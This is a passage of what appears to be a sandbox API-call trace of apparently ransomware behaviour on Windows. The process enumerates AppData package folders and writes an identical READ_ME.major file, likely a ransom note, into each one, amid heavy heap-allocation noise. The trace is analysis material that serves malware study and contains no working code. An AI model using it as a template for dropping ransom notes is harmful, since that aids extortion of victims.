hFindFile=0x30fb0c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x307f8f38, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x307f8f38, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0199.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b0a0 [0199.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8ae0 [0199.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b0a0 | out: hHeap=0x570000) returned 1 [0199.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8ae0 | out: hHeap=0x570000) returned 1 [0199.767] GetLastError () returned 0x12 [0199.767] SetLastError (dwErrCode=0x12) [0199.768] GetLastError () returned 0x12 [0199.768] SetLastError (dwErrCode=0x12) [0199.768] GetLastError () returned 0x12 [0199.768] SetLastError (dwErrCode=0x12) [0199.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6820 [0199.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6820 | out: hHeap=0x570000) returned 1 [0199.768] FindNextFileW (in: hFindFile=0x30fb0c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x307f8f38, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x307f8f38, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0199.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x65fc20 [0199.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ff80 | out: hHeap=0x570000) returned 1 [0199.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0199.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9e70 | out: hHeap=0x570000) returned 1 [0199.768] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x366f55bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb2c0 [0199.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0199.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0199.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0199.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0199.769] GetLastError () returned 0x12 [0199.769] SetLastError (dwErrCode=0x12) [0199.769] GetLastError () returned 0x12 [0199.769] SetLastError (dwErrCode=0x12) [0199.769] GetLastError () returned 0x12 [0199.769] SetLastError (dwErrCode=0x12) [0199.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0199.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be948 [0199.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0199.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6a00 [0199.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb780 [0199.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb780 | out: hHeap=0x570000) returned 1 [0199.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0199.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0199.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6a00 | out: hHeap=0x570000) returned 1 [0199.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0199.770] FindNextFileW (in: hFindFile=0x30fb2c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x366f55bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x307f8f38, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0199.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0199.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0199.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0199.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0199.770] GetLastError () returned 0x12 [0199.770] SetLastError (dwErrCode=0x12) [0199.770] GetLastError () returned 0x12 [0199.770] SetLastError (dwErrCode=0x12) [0199.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.771] GetLastError () returned 0x12 [0199.771] SetLastError (dwErrCode=0x12) [0199.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0199.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be8f0 [0199.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0199.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0199.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x30fb780 [0199.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x30fb780 | out: hHeap=0x570000) returned 1 [0199.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0199.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0199.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0199.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0199.771] FindNextFileW (in: hFindFile=0x30fb2c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xac3e804b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xac3e804b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="BackgroundTransferApi", cAlternateFileName="BACKGR~1")) returned 1 [0199.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0199.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0199.772] GetLastError () returned 0x12 [0199.772] SetLastError (dwErrCode=0x12) [0199.772] GetLastError () returned 0x12 [0199.772] SetLastError (dwErrCode=0x12) [0199.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.772] GetLastError () returned 0x12 [0199.772] SetLastError (dwErrCode=0x12) [0199.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0199.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0199.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0199.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0199.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6591f8 [0199.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6758 [0199.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659d98 [0199.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0199.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0199.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0199.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.773] GetLastError () returned 0x12 [0199.773] SetLastError (dwErrCode=0x12) [0199.773] GetLastError () returned 0x12 [0199.773] SetLastError (dwErrCode=0x12) [0199.773] GetLastError () returned 0x12 [0199.773] SetLastError (dwErrCode=0x12) [0199.774] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110) returned 0x6552b8 [0199.774] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\backgroundtransferapi\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10a4 [0199.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6552b8 | out: hHeap=0x570000) returned 1 [0199.873] WriteFile (in: hFile=0x10a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.874] CloseHandle (hObject=0x10a4) returned 1 [0199.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0199.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0199.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0199.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659d98 | out: hHeap=0x570000) returned 1 [0199.874] FindNextFileW (in: hFindFile=0x30fb2c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x4f465b01, ftLastAccessTime.dwHighDateTime=0x1d336da, ftLastWriteTime.dwLowDateTime=0x4f465b01, ftLastWriteTime.dwHighDateTime=0x1d336da, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0199.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b348 [0199.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0199.874] GetLastError () returned 0x0 [0199.874] SetLastError (dwErrCode=0x0) [0199.875] GetLastError () returned 0x0 [0199.875] SetLastError (dwErrCode=0x0) [0199.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.875] GetLastError () returned 0x0 [0199.875] SetLastError (dwErrCode=0x0) [0199.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6a28 [0199.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0199.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6a28 | out: hHeap=0x570000) returned 1 [0199.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0199.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661ea8 [0199.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6618 [0199.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662078 [0199.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0199.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0199.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0199.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.876] GetLastError () returned 0x0 [0199.876] SetLastError (dwErrCode=0x0) [0199.876] GetLastError () returned 0x0 [0199.876] SetLastError (dwErrCode=0x0) [0199.876] GetLastError () returned 0x0 [0199.876] SetLastError (dwErrCode=0x0) [0199.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659100 [0199.876] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10a4 [0199.878] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659100 | out: hHeap=0x570000) returned 1 [0199.878] WriteFile (in: hFile=0x10a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.879] CloseHandle (hObject=0x10a4) returned 1 [0199.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0199.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0199.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0199.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662078 | out: hHeap=0x570000) returned 1 [0199.879] FindNextFileW (in: hFindFile=0x30fb2c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x85dbd491, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x85dbd491, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0199.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0199.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ac60 [0199.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8ae0 [0199.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ac60 | out: hHeap=0x570000) returned 1 [0199.879] GetLastError () returned 0x0 [0199.879] SetLastError (dwErrCode=0x0) [0199.880] GetLastError () returned 0x0 [0199.880] SetLastError (dwErrCode=0x0) [0199.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8ae0 | out: hHeap=0x570000) returned 1 [0199.880] GetLastError () returned 0x0 [0199.880] SetLastError (dwErrCode=0x0) [0199.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6820 [0199.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6668 [0199.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6820 | out: hHeap=0x570000) returned 1 [0199.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6668 | out: hHeap=0x570000) returned 1 [0199.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661a20 [0199.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0199.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6630c8 [0199.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0199.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0199.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0199.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0199.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.881] GetLastError () returned 0x0 [0199.881] SetLastError (dwErrCode=0x0) [0199.881] GetLastError () returned 0x0 [0199.881] SetLastError (dwErrCode=0x0) [0199.881] GetLastError () returned 0x0 [0199.881] SetLastError (dwErrCode=0x0) [0199.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660540 [0199.881] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10a4 [0199.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660540 | out: hHeap=0x570000) returned 1 [0199.886] WriteFile (in: hFile=0x10a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.888] CloseHandle (hObject=0x10a4) returned 1 [0199.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0199.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d250 | out: hHeap=0x570000) returned 1 [0199.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0199.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6630c8 | out: hHeap=0x570000) returned 1 [0199.889] FindNextFileW (in: hFindFile=0x30fb2c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf3df0c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc833db71, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0199.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4f18 | out: hHeap=0x570000) returned 1 [0199.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0199.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0199.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0199.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8a18 [0199.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0199.889] GetLastError () returned 0x0 [0199.889] SetLastError (dwErrCode=0x0) [0199.889] GetLastError () returned 0x0 [0199.889] SetLastError (dwErrCode=0x0) [0199.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5b4f18 [0199.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8a18 | out: hHeap=0x570000) returned 1 [0199.890] GetLastError () returned 0x0 [0199.890] SetLastError (dwErrCode=0x0) [0199.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6870 [0199.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67f8 [0199.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6870 | out: hHeap=0x570000) returned 1 [0199.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67f8 | out: hHeap=0x570000) returned 1 [0199.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662500 [0199.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6a00 [0199.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6625e8 [0199.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0199.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0199.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2ee8e00 [0199.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0199.890] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0199.890] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee8e00 | out: hHeap=0x570000) returned 1 [0199.890] GetLastError () returned 0x0 [0199.890] SetLastError (dwErrCode=0x0) [0199.891] GetLastError () returned 0x0 [0199.891] SetLastError (dwErrCode=0x0) [0199.891] GetLastError () returned 0x0 [0199.891] SetLastError (dwErrCode=0x0) [0199.891] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660330 [0199.891] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10a4 [0199.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660330 | out: hHeap=0x570000) returned 1 [0199.903] WriteFile (in: hFile=0x10a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.904] 